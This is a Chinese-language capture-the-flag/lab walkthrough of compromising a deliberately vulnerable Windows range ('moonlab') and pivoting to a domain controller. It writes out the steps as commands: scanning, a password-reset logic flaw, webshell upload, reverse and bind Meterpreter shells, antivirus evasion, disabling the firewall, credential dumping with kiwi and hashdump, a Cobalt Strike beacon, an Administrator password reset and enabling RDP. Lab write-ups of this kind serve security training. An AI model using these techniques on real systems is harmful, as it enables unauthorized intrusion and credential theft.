靶场下载地址:
靶场地址: https://pan.baidu.com/share/init?surl=2pSYxSU-ZmurQ9--GFiaXQ
提取码: 3p47
虚拟机网络设置:
靶场拓扑图:
靶机账号密码:
靶机就在本地,直接进行本地内网扫描即可,扫描当前网段:
nmap -sP 192.168.0.0/24
只有这一台机子是IP未知的,其他设备都是自己的,故判断为目标靶机
因暗月靶机上都有360和各种安全软件,所以扫描速率不能太快,先使用masscan扫描到开放的端口,再用nmap获取端口的详细信息
masscan -p 1-65535 192.168.0.114 --rate=100
rate:设置为每秒发100个请求包
一共开放了6个端口,现在使用nmap去获取端口的详细信息
nmap -sV -p 3389,5985,6588,999,21,80 192.168.0.114
sV:扫描端口服务版本
p:扫描指定的端口
现在去web页面上看看有没有突破点,首先本地DNS解析一下域名
echo "192.168.0.114 www.moonlab.com" >> /etc/hosts
然后访问这个域名
什么也没有,只能fuzz目录了
需要注意的是,靶机上开启了防火墙和安全软件,网站上也有waf,无论你访问哪个目录都返回200
如果都返回200,就不能用工具扫了,我们自己写一个简单的python脚本去爆破目录
#encoding:utf-8
from cgitb import reset
import requests
import sys
import time
with open ('dicc.txt','r',encoding='UTF-8') as readfile: #扫描目录所用的字典
for dirs in readfile.readlines(): #一个for循环,将字典参数导入到dirs变量里
url = 'http://www.moonlab.com/'+dirs.strip('\n') #扫描的目录
resp = requests.get(url) #访问url变量里的值,并将得到的结果导入到resp变量里
strlen = len(resp.text) #获取文本大小,并将大小导入到strlen变量里
print(url+' statu: '+str(resp.status_code)+' lens: '+str(strlen)) #输出扫描的结果
time.sleep(2) #sleep两秒
if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 500 or resp.status_code == 301: #if判断,如果请求等于条件,判断为真,继续执行下面的代码
if str(strlen) != "2939": #如果文本大小不等于2939,就为真,继续执行下面的代码
with open('url.txt','a',encoding='UTF-8') as writefile: #创建一个名为url.txt的文件
writefile.write(url+' statu: '+str(resp.status_code)+' lens: '+str(strlen)+'\n') #写入内容
执行这个脚本去fuzz目录
python3 urlscan.py
其他目录大小都是2939,只有这个目录不一样,我们直接去访问这个目录看看
robots.txt 文件规定了搜索引擎抓取的网站上网址
这里给出了三个目录,第一个是一个登录页面
遇到登录页面的渗透测试思路为
sql注入
暴力破解
csrf
js泄露
逻辑漏洞
这个网站后台存在的漏洞为逻辑漏洞,在登录框下面有一个忘记密码,我们输入admin
随便输入一个答案
回到burp,点击http历史,找到输入答案的包
点击这个包,ctrl+r
我们把answer参数改为空,然后再发送看看会发生什么
直接出现了密码,说明网站的验证逻辑有问题,我们用这个账号密码进入后台
进入后台后,最常见的拿shell方式就是文件上传了,我们需要找到一个能上传文件的页面
在模板管理这可以修改网站文件,我们随便点击一个
将冰蝎自带的aspx一句话木马写进去
然后保存,访问文件
打开冰蝎连接
连接成功
whoami /all
我们只是一个普通用户,但是有这三个特权
ipconfig /all
这里看到他还有一个内网ip
systeminfo
netstat -ano
net start
不仅有安全狗,自带的防火墙也开启了
tasklist
我们先将shell转移到msf里,方便利用
msf进入监听后,回到冰写,进入反弹shell页面,设置ip和端口,ip是kali的ip,端口是msf设置的端口
成功将shell转移到msf里
查看全局网段
run get_local_subnets
run autoroute -s 10.10.1.0/24
查看添加的网段
run autoroute -p
然后输入bg返回msf,使用auxiliary/server/socks_proxy代理模块
bg
use auxiliary/server/socks_proxy
设置代理的端口,然后运行
set SRVPORT 1234
run
然后新开一个终端,编辑这个文件,拉到最下面,输入msf设置的端口
vim /etc/proxychains4.conf
保存后退出,然后看看配置成功没
proxychains4 curl 10.10.1.130
成功访问
回到msf里,进入会话
sessions -i 1
然后尝试用meterperter的默认提权exp去提权
getsystem
成功提权到最高权限,通过之前nmap扫描的结果,它已经开启了3389端口,我们导出密码即可,但首先需要迁移进程到一个稳定运行的程序里,这样才能正常导出密码
ps #查看后台进程
随便导入到一个稳定的进程里
migrate 3344
查看shell pid号
getpid
成功迁移了
msf导入kiwi
load kiwi
提取密码
creds_all
成功获取密码,之后用远程桌面连接即可
查看路由表
arp -a
我们拿下的这台主机内网ip是10.10.1.131,这个10.10.1.130是未知的,估计是内网的另一台主机
由于内网另一台机子开启了防护软件,无法ping通和扫描,我们直接访问80端口去测试
浏览器设置代理
访问10.10.1.130
这是一个通达的后台OA,Google搜索相关的漏洞和poc即可
https://pan.baidu.com/s/14aKGmg_jmyAJHzHjgYJQHQ
提取码:hx1y
进入文件夹后运行这个命令
proxychains4 java -jar 通达OA综合利用工具_圈子社区专版.jar
启动哥斯拉连接这个url
https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla
连接成功
NetSh Advfirewall set allprofiles state off
关闭windows防火墙
由于目标不出网,我们只能生成一个正向shell木马来将shell转移到msf里
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -e x86/shikata_ga_nai -i 20 -f c -o 123.txt
使用这个工具进行一个简单的免杀
https://github.com/1y0n/AV_Evasion_Tool/releases/tag/2.0
打开这个工具,将msfveno生成的123.txt文件里的内容粘贴上去
回到哥斯拉,找一个文件夹上传木马
回到msf,设置监听模块
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.1.130
set lport 4444
options
run
终端执行这个木马
成功连接
首先需要迁移进程到一个稳定运行的程序里,这样才能正常导出密码
ps #查看后台进程
随便导入到一个稳定的进程里
migrate 3756
查看shell pid号
getpid
迁移成功
打开cs,没有的话直接私聊我就好了
监听器设置
生成木马
回到msf,上传木马
upload /beacon.exe
进入shell,执行木马
这个会话是第一台机子windows server 2016-web,上传个木马然后执行就能获得会话
connect 10.10.1.130 7777
成功获得会话
右击会话,点击文件浏览
可以看到还有一个域用户
查看当前主机域名
net domain
查看域控登录的主机信息
net computers
10.10.1.130是当前主机,而10.10.10.165是最终flag所在的主机
hashdump
logonpasswords
查看密码凭证
爆破这个域用户密码
https://www.somd5.com/
回到msf,进入shell修改密码
net user Administrator Ba1_Ma0123456
开启10.10.1.130主机的3389端口
run post/windows/manage/enable_rdp
用第一台我们拿下的主机去连接
在这个主机上也使用远程桌面连接
输入域名\用户名和爆破出的密码
成功登录